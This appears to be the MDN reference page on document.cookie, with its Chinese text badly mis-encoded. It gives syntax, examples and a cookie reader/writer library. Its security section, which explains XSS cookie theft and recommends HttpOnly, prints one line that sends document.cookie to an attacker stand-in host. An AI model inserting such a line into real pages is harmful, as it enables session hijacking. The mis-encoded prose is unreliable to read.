Document.cookie
åºçº¿
广æ³å¯ç¨
èª 2019å¹´7æ èµ·ï¼æ¤ç¹æ§å·²å¨ä¸»æµæµè§å¨ä¸å¾å°æ¯æï¼å¯å¨å¤§å¤æ°è®¾å¤åæµè§å¨çæ¬ä¸æ£å¸¸ä½¿ç¨ã
è·å并设置ä¸å½åææ¡£ç¸å
³èç cookieãå¯ä»¥æå®å½æä¸ä¸ª getter and setterã
è¯æ³
è¯»åææå¯ä»æ¤ä½ç½®è®¿é®ç Cookie
allCookies = document.cookie;
å¨ä¸é¢ç代ç ä¸ï¼allCookies 被èµå¼ä¸ºä¸ä¸ªå符串ï¼è¯¥å符串å
嫿æç Cookieï¼æ¯æ¡ cookie 以"åå·åç©ºæ ¼ (; )"åé (å³ï¼ key=value é®å¼å¯¹)ã
åä¸ä¸ªæ° cookie
document.cookie = newCookie;
newCookie æ¯ä¸ä¸ªé®å¼å¯¹å½¢å¼çå符串ãéè¦æ³¨æçæ¯ï¼ç¨è¿ä¸ªæ¹æ³ä¸æ¬¡åªè½å¯¹ä¸ä¸ª cookie è¿è¡è®¾ç½®ææ´æ°ã
-
以ä¸å¯éç cookie 屿§å¼å¯ä»¥è·å¨é®å¼å¯¹åï¼ç¨æ¥å ·ä½å对 cookie ç设å®/æ´æ°ï¼ä½¿ç¨åå·ä»¥ä½åéï¼
-
;path=path(ä¾å¦ '/', '/mydir') å¦ææ²¡æå®ä¹ï¼é»è®¤ä¸ºå½åææ¡£ä½ç½®çè·¯å¾ã -
;domain=domain(ä¾å¦ 'example.com'ï¼ 'subdomain.example.com') å¦ææ²¡æå®ä¹ï¼é»è®¤ä¸ºå½åææ¡£ä½ç½®çè·¯å¾çååé¨åã䏿©æè§èç¸åçæ¯ï¼å¨åååé¢å . 符å°ä¼è¢«å¿½è§ï¼å 为æµè§å¨ä¹è®¸ä¼æç»è®¾ç½®è¿æ ·ç cookieã妿æå®äºä¸ä¸ªåï¼é£ä¹ååä¹å å«å¨å ã -
;max-age=max-age-in-seconds(ä¾å¦ä¸å¹´ä¸º 60*60*24*365) -
;expires=date-in-GMTString-formatå¦ææ²¡æå®ä¹ï¼cookie ä¼å¨å¯¹è¯ç»ææ¶è¿æ- è¿ä¸ªå¼çæ ¼å¼åè§Date.toUTCString()
-
;secure(cookie åªéè¿ https åè®®ä¼ è¾)
-
-
cookie çå¼å符串å¯ä»¥ç¨encodeURIComponent()æ¥ä¿è¯å®ä¸å å«ä»»ä½éå·ãåå·æç©ºæ ¼ (cookie å¼ä¸ç¦æ¢ä½¿ç¨è¿äºå¼).
夿³¨ï¼å¨ Gecko 6.0 åï¼è¢«å¼å·æ¬èµ·çè·¯å¾çå¼å·ä¼è¢«å½åè·¯å¾çä¸é¨åï¼è䏿¯è¢«å½åå®ç符ãç°å¨å·²è¢«ä¿®å¤ã
示ä¾
>ç¤ºä¾ 1: ç®åç¨æ³
document.cookie = "name=oeschger";
document.cookie = "favorite_food=tripe";
alert(document.cookie);
// æ¾ç¤ºï¼name=oeschger;favorite_food=tripe
ç¤ºä¾ 2: å¾å°å为 test2 ç cookie
document.cookie = "test1=Hello";
document.cookie = "test2=World";
var myCookie = document.cookie.replace(
/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/,
"$1",
);
alert(myCookie);
// æ¾ç¤ºï¼World
ç¤ºä¾ 3: åªæ§è¡æäºä¸æ¬¡
è¦ä½¿ä¸é¢ç代ç å·¥ä½ï¼è¯·æ¿æ¢ææsomeCookieName (cookie çåå) 为èªå®ä¹çååã
if (document.cookie.replace(/(?:(?:^|.*;\s*)someCookieName\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
alert("Do something here!");
document.cookie = "someCookieName=true; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=/";
}
}
ä¸ä¸ªå°æ¡æ¶ï¼ä¸ä¸ªå®æ´æ¯æ unicode ç cookie 读å/åå ¥å¨
ä½ä¸ºä¸ä¸ªæ ¼å¼åè¿çå符串ï¼cookie ç弿æ¶å¾é¾è¢«èªç¶å°å¤çãä¸é¢çåºçç®çæ¯éè¿å®ä¹ä¸ä¸ªå Storage 对象é¨åä¸è´ç对象ï¼docCookiesï¼ï¼ç®å document.cookie çè·åæ¹æ³ã宿ä¾å®å
¨ç Unicode æ¯æã
/*\
|*|
|*| :: cookies.js ::
|*|
|*| A complete cookies reader/writer framework with full unicode support.
|*|
|*| https://developer.mozilla.org/zh-CN/docs/DOM/document.cookie
|*|
|*| This framework is released under the GNU Public License, version 3 or later.
|*| http://www.gnu.org/licenses/gpl-3.0-standalone.html
|*|
|*| Syntaxes:
|*|
|*| * docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
|*| * docCookies.getItem(name)
|*| * docCookies.removeItem(name[, path], domain)
|*| * docCookies.hasItem(name)
|*| * docCookies.keys()
|*|
\*/
var docCookies = {
getItem: function (sKey) {
return (
decodeURIComponent(
document.cookie.replace(
new RegExp(
"(?:(?:^|.*;)\\s*" +
encodeURIComponent(sKey).replace(/[-.+*]/g, "\\$&") +
"\\s*\\=\\s*([^;]*).*$)|^.*$",
),
"$1",
),
) || null
);
},
setItem: function (sKey, sValue, vEnd, sPath, sDomain, bSecure) {
if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) {
return false;
}
var sExpires = "";
if (vEnd) {
switch (vEnd.constructor) {
case Number:
sExpires =
vEnd === Infinity
? "; expires=Fri, 31 Dec 9999 23:59:59 GMT"
: "; max-age=" + vEnd;
break;
case String:
sExpires = "; expires=" + vEnd;
break;
case Date:
sExpires = "; expires=" + vEnd.toUTCString();
break;
}
}
document.cookie =
encodeURIComponent(sKey) +
"=" +
encodeURIComponent(sValue) +
sExpires +
(sDomain ? "; domain=" + sDomain : "") +
(sPath ? "; path=" + sPath : "") +
(bSecure ? "; secure" : "");
return true;
},
removeItem: function (sKey, sPath, sDomain) {
if (!sKey || !this.hasItem(sKey)) {
return false;
}
document.cookie =
encodeURIComponent(sKey) +
"=; expires=Thu, 01 Jan 1970 00:00:00 GMT" +
(sDomain ? "; domain=" + sDomain : "") +
(sPath ? "; path=" + sPath : "");
return true;
},
hasItem: function (sKey) {
return new RegExp(
"(?:^|;\\s*)" +
encodeURIComponent(sKey).replace(/[-.+*]/g, "\\$&") +
"\\s*\\=",
).test(document.cookie);
},
keys: /* optional method: you can safely remove it! */ function () {
var aKeys = document.cookie
.replace(/((?:^|\s*;)[^\=]+)(?=;|$)|^\s*|\s*(?:\=[^;]*)?(?:\1|$)/g, "")
.split(/\s*(?:\=[^;]*)?;\s*/);
for (var nIdx = 0; nIdx < aKeys.length; nIdx++) {
aKeys[nIdx] = decodeURIComponent(aKeys[nIdx]);
}
return aKeys;
},
};
夿³¨ï¼å¯¹äºæ°¸ä¹
cookie æä»¬ç¨äºFri, 31 Dec 9999 23:59:59 GMTä½ä¸ºè¿ææ¥ãå¦æä½ ä¸æ³ä½¿ç¨è¿ä¸ªæ¥æï¼å¯ä½¿ç¨*ä¸çæ«æ¥*Tue, 19 Jan 2038 03:14:07 GMTï¼å®æ¯ 32 ä½å¸¦ç¬¦å·æ´æ°è½è¡¨ç¤ºä» 1 January 1970 00:00:00 UTC å¼å§çæå¤§ç§é¿ (å³01111111111111111111111111111111, æ¯ new Date(0x7fffffff * 1e3)).
åå ¥ cookie
è¯æ³
docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
æè¿°
å建æè¦çä¸ä¸ª cookie
åæ°
name(å¿ è¦)-
è¦å建æè¦çç cookie çåå (
string)ã value(å¿ è¦)-
cookie çå¼ (
string)ã end(å¯é)-
æå¤§å¹´é¾çç§æ° (ä¸å¹´ä¸º 31536e3ï¼æ°¸ä¸è¿æç cookie 为Infinity) ï¼æè è¿ææ¶é´çGMTStringæ ¼å¼æDate 对象; å¦ææ²¡æå®ä¹åä¼å¨ä¼è¯ç»ææ¶è¿æ (numberâ æéçæInfinityâstring,Dateobject ornull)ã path(å¯é)-
ä¾å¦ '/', '/mydir'ãå¦ææ²¡æå®ä¹ï¼é»è®¤ä¸ºå½åææ¡£ä½ç½®çè·¯å¾ã(
stringornull)ãè·¯å¾å¿ 须为ç»å¯¹è·¯å¾ï¼åè§ RFC 2965ï¼ãå ³äºå¦ä½å¨è¿ä¸ªåæ°ä½¿ç¨ç¸å¯¹è·¯å¾çæ¹æ³è¯·åè§è¿æ®µã domain(å¯é)-
ä¾å¦ 'example.com'ï¼'.example.com' (å æ¬ææååå), 'subdomain.example.com'ãå¦ææ²¡æå®ä¹ï¼é»è®¤ä¸ºå½åææ¡£ä½ç½®çè·¯å¾çååé¨å (
stringænull)ã secure(å¯é)
å¾å° cookie
è¯æ³
docCookies.getItem(name)
æè¿°
读åä¸ä¸ª cookieã妿 cookie ä¸åå¨è¿ånullã
åæ°
ç§»é¤ cookie
Syntax
docCookies.removeItem(name[, path],domain)
æè¿°
å é¤ä¸ä¸ª cookieã
åæ°
name-
è¦ç§»é¤ç cookie å (
string). path(å¯é)-
ä¾å¦ '/', '/mydir'ãå¦ææ²¡æå®ä¹ï¼é»è®¤ä¸ºå½åææ¡£ä½ç½®çè·¯å¾ã(
stringornull)ãè·¯å¾å¿ 须为ç»å¯¹è·¯å¾ï¼åè§ RFC 2965ï¼ãå ³äºå¦ä½å¨è¿ä¸ªåæ°ä½¿ç¨ç¸å¯¹è·¯å¾çæ¹æ³è¯·åè§è¿æ®µã domain(å¯é)-
ä¾å¦ 'example.com'ï¼ '.example.com' (å æ¬ææååå), 'subdomain.example.com'ãå¦ææ²¡æå®ä¹ï¼é»è®¤ä¸ºå½åææ¡£ä½ç½®çè·¯å¾çååé¨å (
stringænull)ã
æ£æµ cookie
è¯æ³
docCookies.hasItem(name)
æè¿°
æ£æ¥ä¸ä¸ª cookie æ¯å¦åå¨
åæ°
å¾å°ææ cookie çå表
è¯æ³
docCookies.keys()
æè¿°
è¿åä¸ä¸ªè¿ä¸ªè·¯å¾ææå¯è¯»ç cookie çæ°ç»ã
示ä¾ç¨æ³ï¼
docCookies.setItem("test0", "Hello world!");
docCookies.setItem(
"test1",
"Unicode test: \u00E0\u00E8\u00EC\u00F2\u00F9",
Infinity,
);
docCookies.setItem("test2", "Hello world!", new Date(2020, 5, 12));
docCookies.setItem("test3", "Hello world!", new Date(2027, 2, 3), "/blog");
docCookies.setItem("test4", "Hello world!", "Sun, 06 Nov 2022 21:43:15 GMT");
docCookies.setItem(
"test5",
"Hello world!",
"Tue, 06 Dec 2022 13:11:07 GMT",
"/home",
);
docCookies.setItem("test6", "Hello world!", 150);
docCookies.setItem("test7", "Hello world!", 245, "/content");
docCookies.setItem("test8", "Hello world!", null, null, "example.com");
docCookies.setItem("test9", "Hello world!", null, null, null, true);
docCookies.setItem("test1;=", "Safe character test;=", Infinity);
alert(docCookies.keys().join("\n"));
alert(docCookies.getItem("test1"));
alert(docCookies.getItem("test5"));
docCookies.removeItem("test1");
docCookies.removeItem("test5", "/home");
alert(docCookies.getItem("test1"));
alert(docCookies.getItem("test5"));
alert(docCookies.getItem("unexistingCookie"));
alert(docCookies.getItem());
alert(docCookies.getItem("test1;="));
å®å ¨
è·¯å¾éå¶å¹¶ä¸è½é»æ¢ä»å
¶ä»è·¯å¾è®¿é® cookie. 使ç¨ç®åç DOM å³å¯è½»æå°ç»è¿éå¶ (æ¯å¦å建ä¸ä¸ªæåéå¶è·¯å¾çï¼éèçiframe, ç¶å访é®å
¶ contentDocument.cookie 屿§). ä¿æ¤ cookie ä¸è¢«éæ³è®¿é®çå¯ä¸æ¹æ³æ¯å°å®æ¾å¨å¦ä¸ä¸ªåå/åååä¹ä¸ï¼å©ç¨åæºçç¥ä¿æ¤å
¶ä¸è¢«è¯»åã
Web åºç¨ç¨åºéå¸¸ä½¿ç¨ cookies æ¥æ è¯ç¨æ·èº«ä»½åä»ä»¬çç»å½ä¼è¯ãå æ¤éè¿çªå¬è¿äº cookieï¼å°±å¯ä»¥å«æå·²ç»å½ç¨æ·çä¼è¯ãçªå¬ç cookie çå¸¸è§æ¹æ³å æ¬ç¤¾ä¼å·¥ç¨å XSS æ»å» -
new Image().src =
"http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
HttpOnly 屿§å¯ä»¥é»æ¢éè¿ javascript è®¿é® cookieï¼ä»èä¸å®ç¨åº¦ä¸éå¶è¿ç±»æ»å»ãåè§ Cookies and Security.
夿³¨
- ä» Firefox 2 èµ·ï¼ææ´å¥½ç客æ·ç«¯å卿ºå¶ç¨ä»¥æ¿ä»£ cookie - WHATWG DOM Storage.
- ä½ å¯ä»¥éè¿æ´æ°ä¸ä¸ª cookie çè¿ææ¶é´ä¸º 0 æ¥å é¤ä¸ä¸ª cookieã
- 请注æï¼æ´å¤/æ´å¤§ç cookies æå³çæ¯ä¸ªè¯·æ±é½è¦å 嫿´ç¹éçæ°æ®ä¼ è¾ãå¦æä½ åªæ¯éè¦åå¨äº "client-only" çæ°æ®ï¼é£ä¹ééå»ºè®®ä½ ä½¿ç¨ WHATWG DOM Storage.
è§è
åè§
- HTTP cookies
- Cookies (Code snippets)